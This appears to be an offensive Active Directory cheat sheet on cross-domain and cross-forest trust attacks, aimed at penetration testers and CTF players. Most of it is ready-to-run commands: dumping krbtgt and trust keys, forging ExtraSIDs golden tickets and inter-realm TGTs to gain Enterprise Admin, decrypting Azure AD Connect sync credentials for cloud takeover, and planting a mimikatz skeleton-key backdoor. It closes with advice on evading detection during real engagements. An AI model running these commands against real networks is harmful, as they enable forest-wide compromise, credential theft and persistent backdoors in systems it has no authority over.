Trust Attacks

Sections Trust Attacks

Cross-domain and cross-forest attack paths. Once you have DA in a child domain, the parent (and the whole forest) is usually one ExtraSIDs trick away. Cross-forest attacks need more setup.

DC=10.10.11.50
DOMAIN=corp.local
USER='svc_user'
PASS='Password1'

i. Trust types

TypeDirectionNotes
Parent-ChildBidirectional, transitiveDefault inside a forest. Most permissive.
Tree-RootBidirectional, transitiveBetween two trees in the same forest.
ExternalOne- or two-way, non-transitiveBetween domains in different forests (or same).
ForestOne- or two-way, transitiveBetween forest roots. SID filtering applied.
RealmOne- or two-way, transitiveTrust to a non-Windows Kerberos realm (Linux).
ShortcutOptimization within a forestNo new attack surface.

ii. Enumerate trusts

bloodyAD as a tree:

bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC get trusts
## Follow trust chains across the forest:
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC get trusts --transitive

nxc trust enumeration:

nxc ldap $DC -u $USER -p $PASS -M enum_trusts

LDAP filter:

bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC get search \
  --filter '(objectClass=trustedDomain)' \
  --attr trustPartner,trustDirection,trustType,trustAttributes,securityIdentifier

PowerView:

Get-DomainTrust
Get-DomainTrustMapping -API           ## walk the trust graph
Get-ForestTrust

Read the trustDirection and trustAttributes carefully:

  • trustDirection: 1=inbound, 2=outbound, 3=bidirectional
  • trustAttributes: bit flags. TRUST_ATTRIBUTE_QUARANTINED_DOMAIN (4) means SID filtering is enforced; TRUST_ATTRIBUTE_WITHIN_FOREST (32) means intra-forest.

iii. Child-to-Parent: ExtraSIDs / Golden Ticket with EA SID

Inside a forest, SID filtering is DISABLED for parent-child trusts. From a compromised child domain DA, you can forge a TGT that claims membership in the parent’s Enterprise Admins group.

Step 1: Get the child’s krbtgt hash and SID

impacket-secretsdump -just-dc-user krbtgt corp.local/Administrator:$PASS@dc.corp.local
## Note the NTLM hash of krbtgt and the child domain SID
nxc ldap dc.corp.local -u Administrator -p $PASS --get-sid
## Child SID: S-1-5-21-AAA-BBB-CCC

Step 2: Get the Enterprise Admins SID from the parent

The EA group lives in the FOREST ROOT domain. SID is <ROOT_DOMAIN_SID>-519.

## If you can reach a DC in the parent:
nxc ldap dc.root.local -u Administrator -p $PASS --get-sid
## Parent SID: S-1-5-21-XXX-YYY-ZZZ
## Enterprise Admins SID: S-1-5-21-XXX-YYY-ZZZ-519

Without parent access, walk the trust to find the parent SID:

bloodyAD -d corp.local -u $USER -p $PASS --host $DC get search \
  --filter '(objectClass=trustedDomain)' --attr trustPartner,securityIdentifier

Step 3: Forge a Golden Ticket with ExtraSIDs

impacket-ticketer -nthash $CHILD_KRBTGT_NT \
  -domain-sid S-1-5-21-AAA-BBB-CCC \
  -domain corp.local \
  -extra-sid S-1-5-21-XXX-YYY-ZZZ-519 \
  Administrator
## Output: Administrator.ccache
export KRB5CCNAME=Administrator.ccache
## Now you're EA in the parent:
impacket-secretsdump -k -no-pass root.local/Administrator@dc.root.local

Mimikatz equivalent:

mimikatz # kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-AAA-BBB-CCC /krbtgt:CHILD_KRBTGT_NT /sids:S-1-5-21-XXX-YYY-ZZZ-519 /ptt
Why this works

ExtraSIDs is the PAC field used for “this user came from a trusted domain and has these extra group memberships.” Inside a forest, parent DCs trust the SIDs verbatim. Outside (external trust with SID filtering enabled), the foreign SIDs get stripped.

iv. Cross-Forest with SID filtering

Forest trusts apply SID filtering by default. ExtraSIDs values outside the trusted domain’s namespace are stripped. But:

  • SID filtering exemption (TRUST_ATTRIBUTE_TREAT_AS_EXTERNAL cleared) means trust is treated as transitive forest trust - ExtraSIDs still filtered
  • Selective Authentication further restricts which forest accounts can auth to forest resources
  • When Allow authentication across forest boundary is enabled with both Forest Trust and Selective Auth off, you have wider movement

Forest enumeration:

nxc ldap $DC -u $USER -p $PASS -M enum_trusts
## look for QuarantinedDomain=False on the trust

v. Foreign Security Principals (FSP)

Cross-forest groups can have members from foreign domains. BloodHound shows these as FSP nodes. Common abuse:

  • Foreign user added to Domain Admins of trusted forest (yes, this happens)
  • Find via:
MATCH (n:User)-[:MemberOf]->(g {name: 'DOMAIN ADMINS@OTHER.FOREST'})
WHERE n.domain <> 'OTHER.FOREST'
RETURN n.name, n.domain

When a foreign user is in your DA, compromising them = DA on YOUR domain.

vi. Trust ticket forging (Inter-realm TGT)

Trust relationships work by sharing a Kerberos key. When you have the trust key, you can forge tickets that go to the trusted domain.

Pull the trust key (it’s a hash):

impacket-secretsdump -just-dc-user 'corp.local$' parent.local/Administrator:$PASS@dc.parent.local
## or directly with mimikatz:
mimikatz # lsadump::trust /patch

Forge an inter-realm TGT for the trusted domain:

impacket-ticketer -nthash $TRUST_KEY \
  -domain corp.local \
  -domain-sid S-1-5-21-AAA-BBB-CCC \
  -extra-sid S-1-5-21-XXX-YYY-ZZZ-519 \
  -spn 'krbtgt/parent.local' Administrator

Use the resulting ticket to request service tickets in the parent.

vii. Cross-forest credential abuse from trust key

When you have the FOREST trust key (different from intra-forest parent-child), you can forge inter-realm TGTs:

## Trust accounts look like: foreign_forest$
impacket-secretsdump -just-dc-user 'partner.com$' corp.local/Administrator:$PASS@dc.corp.local
## Forge:
impacket-ticketer -nthash $TRUST_KEY \
  -domain corp.local -domain-sid SID_CORP \
  -spn 'krbtgt/partner.com' Administrator

The PAC will be subject to SID filtering on the partner side, so ExtraSIDs may be stripped. But the basic identity claim survives, enabling lateral access to whatever your forged user can normally access.

viii. Trust direction matters

You’re in DOMAIN A, trust is “A trusts B” (A is trusting, B is trusted):

  • Users in B can authenticate to resources in A
  • Users in A CANNOT authenticate to B
  • Attack direction: compromise B, move INTO A

You’re in DOMAIN A, trust is “A trusted by B” (bidirectional default):

  • Users in both can auth across
  • Attack direction: either way

Always check trustDirection:

bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC get search \
  --filter '(objectClass=trustedDomain)' --attr trustPartner,trustDirection

ix. Multi-domain forest enumeration shortcut

Use the Global Catalog (GC) to query across all forest domains from any DC:

bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC --gc get search \
  --filter '(objectClass=user)' --attr samaccountname,memberOf

--gc connects to port 3268 (or 3269 with -s). Queries return forest-wide results, not just current domain.

x. PrintNightmare cross-forest

PrintNightmare (CVE-2021-34527) works across trust boundaries if you can reach the target DC. Useful chain:

  • You have low-priv in domain A
  • Forest trust to domain B exists, bidirectional
  • B’s DC has Spooler running
  • Coerce B’s DC via PrintNightmare, relay to ADCS or somewhere

Spooler running check:

nxc smb dc.partner.com -u $USER -p $PASS -M spooler

xi. AzureAD / on-prem hybrid

Azure AD Connect synchronizes identities between on-prem AD and Entra ID. The AAD Connect server holds credentials that can be abused for cloud takeover:

  • The DSRM-like account MSOL_xxxxx on the on-prem DC
  • The cleartext password for AAD Connect’s sync account, stored on the sync server
  • Once compromised, can sync arbitrary password resets to Entra ID
nxc smb aadconnect.$DOMAIN -u $USER -p $PASS -M adsyncdecrypt
## Or aadinternals (PowerShell module)

Pull the MSOL credential, then use it for DCSync on the entire on-prem AD.

xii. Skeleton key against cross-domain

Once you have DA in a domain, the skeleton key (mimikatz) injects a backdoor master password into LSASS on every DC. Cross-trust attacks become easier because any password auth (including from foreign domains) accepts the skeleton.

mimikatz # privilege::debug
mimikatz # misc::skeleton

Master password defaults to “mimikatz”. Anyone in the domain can now auth as anyone else with that password. See Persistence .

xiii. Trust direction decision tree

You’re in domain A, want to attack domain B:

  1. A is parent of B (intra-forest, child-to-parent direction reversed): compromise B child first, then ExtraSIDs to A
  2. A is child, attack parent: section iii, ExtraSIDs golden ticket
  3. A and B in different forests, A trusts B: B users can auth to A, attack INTO A from B
  4. A and B in different forests, A trusted by B: get foothold in A, foreign group memberships may help
  5. Cross-forest with SID filtering, want full DA: harder, need the trust key (section vi/vii) or a FSP with high privs

xiv. OPSEC

  • Golden tickets with ExtraSIDs are well-known IOCs, AD ATP / MDI flags them
  • Trust key dumps generate Event 4662 on the trust object
  • Cross-domain auth events (Event 4769 with cross-realm SPN) are noisy on monitored networks

On real engagements, prefer foreign group membership chains over forged tickets when possible (looks like normal cross-domain auth). On HTB and labs, forge freely.